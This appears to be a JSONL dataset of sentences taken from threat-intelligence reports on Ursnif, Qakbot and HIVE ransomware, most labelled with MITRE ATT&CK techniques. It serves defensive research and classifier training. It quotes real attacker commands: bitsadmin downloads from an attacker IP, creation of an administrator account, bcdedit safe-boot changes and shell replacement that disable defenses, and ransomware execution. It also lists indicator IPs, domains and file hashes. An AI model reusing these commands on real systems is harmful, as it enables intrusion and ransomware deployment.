\"false\", \"host_header\": \"\", \"crypto_scheme\": \"0\", \"http_post\": { \"client\": { \"output\": [], \"id\": [], \"headers\": [] }, \"verb\": \"POST\", \"uri\": \"/submit.php\" } } Checking the certificate used, reveals that it is a default SSL certificate for Cobalt Strike, 83cd09b0f73c909bfc14883163a649e1d207df22. Atera & SplashTop Even though the threat actor installed these agents, we did not observe any activity with these tools.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Exfiltration Several HTTP Post events were observed to the identified domains denterdrigx[.]com, superliner[.]top and 5.42.199[.]83, masquerading as image uploads.", "labels": ["T1071.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The user agent ‘Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)’, an unusual browser configuration to masquerade as, which indicates use of Internet Explorer 8.0 (that was released ~2009).", "labels": ["T1071.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The POST event included a MIME part indicating file upload activity", "labels": ["T1071.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The example HTTP stream containing the content The file that was uploaded 775E.bin was deleted by the injected ‘Explorer.exe’ process from the target endpoint in folder ‘\\Users\\<REDACTED>\\AppData\\Local\\Temp’", "labels": ["T1027", "T1071.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The exfiltration activity along with the beacon activity can be detected using the following network signatures: ET MALWARE Ursnif Variant CnC Data Exfil and ET MALWARE Ursnif Variant CnC Beacon.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "In this example, the mix of activity can be observed as: Impact The threat actor was able to RDP to a backup server using the admin credentials they acquired.", "labels": ["T1021.001", "T1078"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Using the logs in Microsoft-Windows-TerminalServices-LocalSessionManager/Operational we were able to determine the threat actor spent approximately 10 minutes on the backup server before disconnecting their RDP session.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "By doing this, they revealed the workstation name of the client: WIN-RRRU9REOK18.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "LogName=Security EventCode=4624 EventType=0 ComputerName=<REDACTED> SourceName=Microsoft Windows security auditing.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Type=Information RecordNumber=300297 Keywords=Audit Success TaskCategory=Logon OpCode=Info Message=An account was successfully logged on.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Logon Information: Logon Type: 3 Restricted Admin Mode: - Virtual Account: No Elevated Token:", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Yes Network Information: Workstation Name: WIN-RRRU9REOK18 Source Network Address: <REDACTED> Source Port: 0 Detailed Authentication Information:", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only): NTLM V2 During that time, the threat actor undertook a number of hands-on keyboard actions; this included reviewing backups in a backup console, checking on running tasks, and using notepad to paste in the following content.", "labels": ["T1057"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Process execution: C:\\Program Files\\[redacted]\\Console\\[redacted].exe \"C:\\Windows\\system32\\taskmgr.exe\" /4 \"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\Users\\USER\\Desktop\\New", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Text Document.txt Sysmon Copy Paste Collection EID 24: user: DOMAIN\\USER ip: 127.0.0.1 hostname: WIN-RRRU9REOK18 Indicators Atomic RDP Client Name: WIN-RRRU9REOK18 Ursnif Domains: denterdrigx.com superliner.top internetlines.in superstarts.top superlinez.top internetlined.com Ursnif IPs: 62.173.149.7 31.41.44.97 5.42.199.83 31.41.44.27 208.91.197.91 187.190.48.135 210.92.250.133 189.143.170.233 201.103.222.246 151.251.24.5 190.147.189.122 115.88.24.202 211.40.39.251 187.195.146.2 186.182.55.44 222.232.238.243 211.119.84.111", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "51.211.212.188 203.91.116.53 115.88.24.203 190.117.75.91 181.197.121.228 190.167.61.79 109.102.255.230 211.119.84.112 190.107.133.19 185.95.186.58 175.120.254.9 46.194.108.30 190.225.159.63 190.140.74.43 187.156.56.52 195.158.3.162 138.36.3.134 109.98.58.98 24.232.210.245 222.236.49.123 175.126.109.15 124.109.61.160 95.107.163.44 93.152.141.65 5.204.145.65 116.121.62.237 31.166.129.162 222.236.49.124 211.171.233.129 211.171.233.126 211.53.230.67 196.200.111.5 190.219.54.242 190.167.100.154 110.14.121.125 58.235.189.192 37.34.248.24 110.14.121.123 179.53.93.16 175.119.10.231 211.59.14.90 188.48.64.249 187.232.150.225 186.7.85.71 148.255.20.4 91.139.196.113 41.41.255.235 31.167.236.174 189.165.2.131 1.248.122.240 193.106.191.186 Cobalt Strike: 193.201.9.1 Computed 123.com d0432468fa4b7f66166c430e1334dbda f72d978f4d1ca1c435b1164e7617464cc06a9381 7d99c80a1249a1ec9af0f3047c855778b06ea57e11943a271071985afe09e6c2 3488164.iso f7d85c971e9604cc6d2a2ffcac1ee4a3 67175143196c17f10776bdf5fbf832e50a646824 e999890ce5eb5b456563650145308ae837d940e38aec50d2f02670671d472b99 6570872.lnk c6b605a120e0d3f3cbd146bdbc358834 328afa8338d60202d55191912eea6151f80956d3 16323b3e56a0cbbba742b8d0af8519f53a78c13f9b3473352fcce2d28660cb37 adcomp.bat eb2335e887875619b24b9c48396d4d48 b658ab9ac2453cde5ca82be667040ac94bfcbe2e 4aa4ee8efcf68441808d0055c26a24e5b8f32de89c6a7a0d9b742cce588213ed alsoOne.bat c03f5e2bc4f2307f6ee68675d2026c82 4ce65da98f0fd0fc4372b97b3e6f8fbeec32deb3 6a9b7c289d7338760dd38d42a9e61d155ae906c14e80a1fed2ec62a4327a4f71 canWell.js 6bb867e53c46aa55a3ae92e425c6df91 6d4f1a9658baccd2e406454b2ad40ca2353916ab 5b51bd2518ad4b9353898ed329f1b2b60f72142f90cd7e37ee42579ee1b645be firefox.exe 6a4356bd2b70f7bd4a3a1f0e0bfec9a4 485a179756ff9586587f8728e173e7df83b1ffc3 6c5338d84c208b37a4ec5e13baf6e1906bd9669e18006530bf541e1d466ba819 itsIt.db 60375d64a9a496e220b6eb1b63e899b3 d1b2dd93026b83672118940df78a41e2ee02be80 8e570e32acb99abfd0daf62cff13a09eb694ebfa633a365d224aefc6449f97de or.jpg 60ca7723edd4f3a0561ea9d3a42f82b4 87b699122dacf3235303a48c74fa2b7a75397c6b bbcceb987c01024d596c28712e429571f5758f67ba12ccfcae197aadb8ab8051 cook32.rar 3db94cf953886aeb630f1ae616a2ec25 743128253f1df9e0b8ee296cfec17e5fc614f98d 1cdbf7c8a45b753bb5c2ea1c9fb2e53377d07a3c84eb29a1b15cdc140837f654 cook64.rar d99cc31f3415a1337e57b8289ac5011e f67ce90f66f6721c3eea30581334457d6da23aac b94810947c33a0a0dcd79743a8db049b8e45e73ca25c9bfbf4bfed364715791b stilak32.rar a1f634f177f73f112b5356b8ee04ad19 7c82b558a691834caf978621f288af0449400e03 c77ea4ad228ecad750fb7d4404adc06d7a28dbb6a5e0cf1448c694d692598f4f stilak64.rar 8ea6ad3b1acb9e7b2e64d08411af3c9a 7c04c4567b77981d0d97d8c2eb4ebd1a24053f48 dfdfd0a339fe03549b2475811b106866d035954e9bc002f20b0f69e0f986838f vnc32.rar 0c5862717f00f28473c39b9cba2953f4 25832c23319fcfe92cde3d443cc731ac056a964a 7ebd70819a79be55d4c92c66e74e90e3309ec977934920aee22cd8d922808c9d vnc64.rar ce77f575cc4406b76c68475cb3693e14 80fdc4712ae450cfa41a37a24ce0129eff469fb7 f02dc60872f5a9c2fcc9beb05294b57ad8a4a9cef0161ebe008 Detections Network Potential Impacket wmiexec.py activity ET MALWARE Ursnif Variant CnC Beacon ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F) ET INFO HTTP Request to a *.top domain ET DNS Query to a *.top domain - Likely Hostile ET MALWARE Ursnif Variant CnC Data Exfil ET INFO Dotted Quad Host RAR Request ET MALWARE Meterpreter or Other Reverse Shell SSL Cert ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike ET POLICY RDP connection confirm ET POLICY MS Remote Desktop Administrator Login Request ET MALWARE Ursnif Variant CnC Beacon 3 ET MALWARE Ursnif Payload Request (cook32.rar) ET MALWARE Ursnif Payload Request (cook64.rar) ET INFO Splashtop Domain (splashtop .com)", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "in TLS SNI ET INFO Splashtop Domain in DNS Lookup (splashtop .com)", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Sigma Yara MITRE Mshta - T1218.005 Visual Basic - T1059.005 Compile After Delivery - T1027.004 BITS Jobs - T1197 Credentials from Password Stores - T1555 LSASS Memory - T1003.001 System Information Discovery - T1082 Process Discovery - T1057 Domain Trust Discovery - T1482 Mark-of-the-Web Bypass - T1553.005 Malicious File - T1204.002 System Time Discovery - T1124 System Owner/User Discovery - T1033 Remote System Discovery - T1018", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Remote Desktop Protocol - T1021.001 Windows Management Instrumentation - T1047 Domain Account - T1087.002 Process Injection - T1055 Asynchronous Procedure Call - T1055.004 Registry Run Keys / Startup Folder - T1547.001 Remote Access Software - T1219 Web Protocols - T1071.001 Lateral Tool Transfer - T1570 Exfiltration Over C2 Channel - T1041 Internal case #17386", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Here’s the latest from our TRU Team… What did we find?", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "In early February 2023, we reported that multiple threat groups were leveraging OneNote files for malware delivery.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Qakbot was one such threat group and made up the majority of our observations of malicious OneNote files during this period.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Since mid-February, observations of Qakbot delivery via OneNote has faded in our telemetry while use of ISO image files has returned.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The absence of OneNote malware in our telemetry suggests the technique is finding less success in circumventing perimeter gateways and content filters.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The diminished use of OneNote by Qakbot during the week of February 20th is corroborated by public mentions (1, 2, 3) of ISO images in lieu of the aforementioned file type.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "However, it’s unlikely OneNote has been completely abandoned and it remains probable that threat actors will continue to iterate on the technique to extend its shelf life.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Qakbot’s infection scheme, as observed on February 22, 2023, is summarized below and in Figure 1.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "A victim is sent an email linking to an externally hosted Zip file.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The Zip contains an ISO image file.", "labels": ["T1204.002"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The victim double clicks the ISO to mount it (1).", "labels": ["T1204.002"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The mounted file contains a hidden folder (4), a 200+MB padded file and a visible shortcut file disguised as a zip.", "labels": ["T1027", "T1564.001"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The shortcut file (2) executes a CMD file (3) when clicked.", "labels": ["T1059.003"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The CMD file contains commands which use certutil (renamed here as slaughterhouse.exe) to decode Qakbot’s DLL (brainstorms.sql).", "labels": ["T1059.003", "T1140"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "This file is base64 twice, thus requires two rounds of decoding using certutil.", "labels": ["T1027", "T1140"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The decoded DLL is then executed using rundll32 and injects Qakbot into wermgr.exe.", "labels": ["T1055", "T1140", "T1218.011"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Figure 1 Summary of Qakbot's infection chain as seen on February 22, 2023.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "How did we find it? MDR for Endpoint identified the ISO shortcut and certutil behavior.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Our team of 24/7 SOC Cyber Analysts triaged the case, isolated the host and alerted the customer.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "OneNote quickly gained traction and was adopted by several threat groups (including Qakbot) in January and early February 2023.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "As mentioned in our previous TRU Positive, it’s probable detection of this filetype has improved.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "It’s unlikely that the OneNote filetype has been abandoned, and continued vigilance and blocking at perimeter gateways is recommended.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "ISO image files have shown to be a viable vehicle for malware delivery and execution since emerging as a popular alternative to macro-enabled documents in early 2022.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "ISO images can be mounted natively with a click of a button, displaying as a folder to the end user.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Victims can be lured into clicking executable content including binaries, scripts or shortcut files masquerading as benign filetypes such as PDFs or folders.", "labels": ["T1204.002"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "The use of ISO images has seen some iterative improvements throughout the last year by threats such as Qakbot.", "labels": ["T1204.002"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "This includes encapsulating the image in one or more filetypes (Zips, PDFs, HTML), padding the contents with benign data or chaining together a series of scripts to decode or unpack the final payload.", "labels": ["T1027", "T1140"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "In this case, the Qakbot Zip and ISO image were retrieved by the victim using a link included in an email.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "It included a standalone file padded with over 200MB of blank spaces, likely to impede analysis of the decompressed ISO file.", "labels": ["T1027"], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Recommendations from our Threat Response Unit (TRU) Team: Audit and consider blocking OneNote (.one), ISO images (.iso), Disk Image Files (.img) and Virtual Hard Disk files (.vhd and .vhdx) on perimeter gateways.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Train users to identify and report potentially malicious content using an Phishing and Security Awareness Training (PSAT) program.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Users should specifically be aware of the threat of OneNote documents for malware delivery.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "Indicator Note rtpbolamas88[.]com Qakbot Payload 92.97.203.51 Qakbot C2 90.78.138.217 90.104.22.28 86.99.54.39 86.225.214.138 86.202.48.142 82.127.204.82 81.229.117.95 80.47.57.131 80.13.205.69 72.203.216.98 71.212.147.224 67.10.175.47 49.245.82.178 217.165.1.53 213.67.255.57 190.75.95.164 184.176.35.223 149.74.159.67 109.11.175.42 107.146.12.26 103.140.174.19 eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"}
{"sentence": "How malicious actors evade detection and disable defenses for more destructive HIVE Ransomware attacks.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Rapid7 routinely conducts research into the wide range of techniques that threat actors use to conduct malicious activity.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "One objective of this research is to discover new techniques being used in the wild, so we can develop new detection and response capabilities.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Recently, Rapid7 observed a malicious actor performing several known techniques for distributing ransomware across many systems within a victim’s environment.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In addition to those techniques, the actor employed a number of previously unseen techniques designed to to drop the defenses of the victim, inhibit monitoring, disable networking and allow time for the ransomware to finish encrypting files.", "labels": ["T1562.001"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "These extra steps would make it extremely difficult, if not impossible, for a victim to effectively use their security tools to defend endpoints after a certain point in the attack.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Rapid7 has updated existing and added new detections to InsightIDR to defend against these techniques.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In this article, we’ll explore the techniques employed by the threat actor, why they’re so effective, and how we’ve updated InsightIDR to protect against them.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "What approach did the malicious actor take to prepare the victim's environment?Initially using Cobalt Strike, the malicious actor retrieved system administration tools and malicious payloads by using the Background Intelligent Transfer Service (BITSAdmin).\"C:\\Windows\\system32\\bitsadmin.exe\" /transfer", "labels": ["T1105"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "debjob /download", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "/priority normal http://79.137.206.47/PsExec.exe C:\\Users\\Public\\PsExec.exe bitsadmin /transfer", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "/priority normal http://79.137.206.47/int.exe C:\\Windows\\int.exe The malicious actor then began using the remote process execution tool PSExec to execute batch files (rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP) using reg.exe.", "labels": ["T1021.001", "T1059.003", "T1112"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This enabled the malicious actor to laterally move throughout the victim’s environment using the graphical user interface.PSEXESVC.exe: C:\\Windows\\PSEXESVC.exe└──cmd.exe: C:\\Windows\\system32\\cmd.exe /c \"\"rdp.bat\" \"└── reg.exe: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v", "labels": ["T1059.003", "T1112"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "REG_DWORD /d 0", "labels": ["T1112"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "/f Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following:Copy down batch scriptsExecute batch scripts (file1.bat), which:Creates administrator account on the local systemReconfigures boot configuration data (bcdedit.exe) so that the host will not load any additional drivers or services (ie: network drivers or endpoint protection)Sets various registry values to ensure the created local administrator user will automatically logon by defaultChanges the Windows Shell from Explorer to their malicious script (file2.bat)Reboots the system with the shutdown commandOn reboot, the system logs in and executes the shell (file2.bat), which:Extracts HIVE ransomware payload(s) from an encrypted archive (int.7z) using 7-Zip's console executable (7zr.exe)Executes the ransomware payload (int.exe or int64.exe)Below are some commands observed executed by the malicious actor (with necessary redactions):xcopy.exe /C/Q/H/Y/Z \"\\\\<REDACTED>\\sysvol\\<REDACTED>\\Policies {<REDACTED>}\\Machine\\Scripts\\Startup\\file1.bat\" \"C:\\windows\" xcopy.exe /C/Q/H/Y/Z \"\\\\<REDACTED>\\sysvol\\<REDACTED>\\Policies\\{<REDACTED>}\\Machine\\Scripts\\Startup\\file2.bat\" \"C:\\windows\" xcopy.exe /C/Q/H/Y/Z \"\\\\<REDACTED>\\sysvol\\<REDACTED>\\Policies\\{<REDACTED>}\\Machine\\Scripts\\Startup\\7zr.exe\" \"C:\\windows\" xcopy.exe /C/Q/H/Y/Z \"\\\\<REDACTED>\\sysvol\\<REDACTED>\\Policies\\{<REDACTED>}\\Machine\\Scripts\\Startup\\int.7z\" \"C:\\windows\\\" C:\\WINDOWS\\SYSTEM32\\cmd.exe /c", "labels": ["T1059.003", "T1112"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "\"C:\\windows\\file1.bat\" net user <REDACTED> <REDACTED> /add C:\\WINDOWS\\system32\\net1 user <REDACTED> <REDACTED> /add net user <REDACTED> /active:yes C:\\WINDOWS\\system32\\net1 user <REDACTED>", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "/active:yes net localgroup Administrators <REDACTED> /add", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "C:\\WINDOWS\\system32\\net1 localgroup Administrators <REDACTED> /add bcdedit /set {default} safeboot minimal reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "LegalNoticeText /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "REG_SZ /d \"\" /f reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "LegalNoticeCaption /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "REG_SZ /d \"\" /f reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "AutoAdminLogon /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "REG_SZ /d", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "1 /f reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "/v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "DefaultUserName /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "<REDACTED> /f reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "DefaultPassword /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "AutoLogonCount /t REG_DWORD /d", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "1 /f reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Shell /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "\"C:\\windows\\file2.bat\" /f shutdown -r -f", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "-t 10 -c \"Computer Will Now Restart In SAFE MODE...\" Rapid7 also observed the malicious actor extracting HIVE ransomware payload using 7zip's console application (7zr.exe) from encrypted 7zip archive (int.7z) with a simple password (123):\"C:\\windows\\7zr.exe\" x c:\\windows\\int.7z -p123 -oc:\\windowsThe malicious actor then manually executed the ransomware (int.exe) once with only the required username:password combination passed to the -u flag.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This presumably encrypted the local drive and also all network shares the user had access to:\"C:\\Windows\\int.exe\" -u <REDACTED>:<REDACTED>\"The malicious actor also manually executed the 64 bit version of the ransomware (int64.exe) once on a different host with the -no-discovery flag.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This is likely intended to override the default behavior and not discover network shares to encrypt their files.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "The -u flag was also passed and the same values for the username:password were provided as seen on the other host.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "C:\\Windows\\int64.exe -u <REDACTED>:<REDACTED> -no-discoveryWhy is this approach so effective?Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment for as long as that group policy is active in the victim’s environment.", "labels": ["T1484.001"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In this case, any system that was booting and connected to the environment would receive the configuration changes, encrypted archive containing the ransomware, a decompression utility to extract the ransomware, configuration changes and the order to reboot and execute.", "labels": ["T1027", "T1140"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This can be especially effective if timed with deployments of patches that require a reboot, done at the beginning of the day or even remotely using Powershell's Stop-Computer cmdlet.", "labels": ["T1027"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Storing the ransomware within a 7zip encrypted archive (int.7z) with a password even as simple as (123) makes the task of identifying the ransomware on disk or transmitted across the network nearly impossible.", "labels": ["T1027"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This makes retrieval and staging of the malicious actors payload very difficult to spot by security software or devices (Antivirus, Web Filtering, IDS/IPS and more).", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In this case, the malicious actor has taken care to only put the encrypted copy on the disk of a victim’s system and not execute it until they have fully dropped the defenses on the endpoint.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Reconfiguring the default boot behavior to safeboot minimal and then executing a reboot unloads all but the bare minimum for the Windows operating system.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "With no additional services, software or drivers loaded the system is at its most vulnerable.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "With no active defenses (Antivirus or Endpoint Protection) the system comes up and tries to start its defined shell which has been swapped to a batch script (file2.bat) by the malicious actor.", "labels": ["T1059.003"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "It should be noted that in this state, there is no method of remotely interacting with the system as no network drivers are loaded.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In order to respond and halt the ransomware, each host must be physically visited for shutdown.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Manually priming the host in this way is more effective than the existing capabilities of the HIVE ransomware which stops specific defensive services (Windows Defender, etc) and kills specific processes prior to encrypting the contents of the drive.", "labels": ["T1562.001"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "All systems in this state are left automatically logged in as an administrator, which gives anyone who has physical access complete control.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Lastly, the system will continue to boot into safeboot minimal mode by default (again, no networking) until each system is set back to its original state with a command such as below.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Bringing the host back online in this state will still continue to execute the malware when logged into, which will also enable the default network spreading behavior.bcdedit /deletevalue", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "{default} safebootLastly, the malicious actor also manually executed the payload a few times on systems that had not been put into safeboot minimal and rebooted.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Systems they executed with only the -u flag actively searched out network shares they had access to and encrypted their contents.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This ensures that only the intended hosts do network share encryption and all those that were rebooted into safeboot minimal do not flood the network simultaneously encrypting all files.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "It also means that the contents of network file shares that are not Windows based (various NAS devices, Linux hosts using Samba) will be encrypted even if the payload is not actually deployed on that specific host.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This approach would be extremely destructive to both corporate environments and home users with network attached storage systems for backups.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Rapid7 notes that ThreatLocker have reported on similar activity in their knowledge base article entitled Preventing BCDEdit From Being Weaponized.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Malware analysis of HIVE sampleRapid7 observed that the HIVE payload would not execute unless a flag of -u was passed.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "During analysis it was discovered that passing -u asdf:asdf would result in the Login and Password (colon-delimited) provided to the victim to authenticate to the site behind the onion link on the TOR network:This, and other behaviors were previously reported on by Microsoft's article Hive Ransomware Gets Upgrades in Rust and also by Sophos in their Github Repository of IoC's mentioned in their article Lockbit, Hive, and BlackCat attack automotive supplier in triple ransomware attack.", "labels": ["T1090"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "There have been some flags that are noted to exist, but their features are not documented.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Rapid7 has analyzed the behaviors of these flags, documented them in addition to discovering two new flags (-timer, -low-key) in the HIVE ransomware samples.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "The new flags -t, -timer, --timer effectively cause the malware to wait the specified number of seconds before going on to perform its actions.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
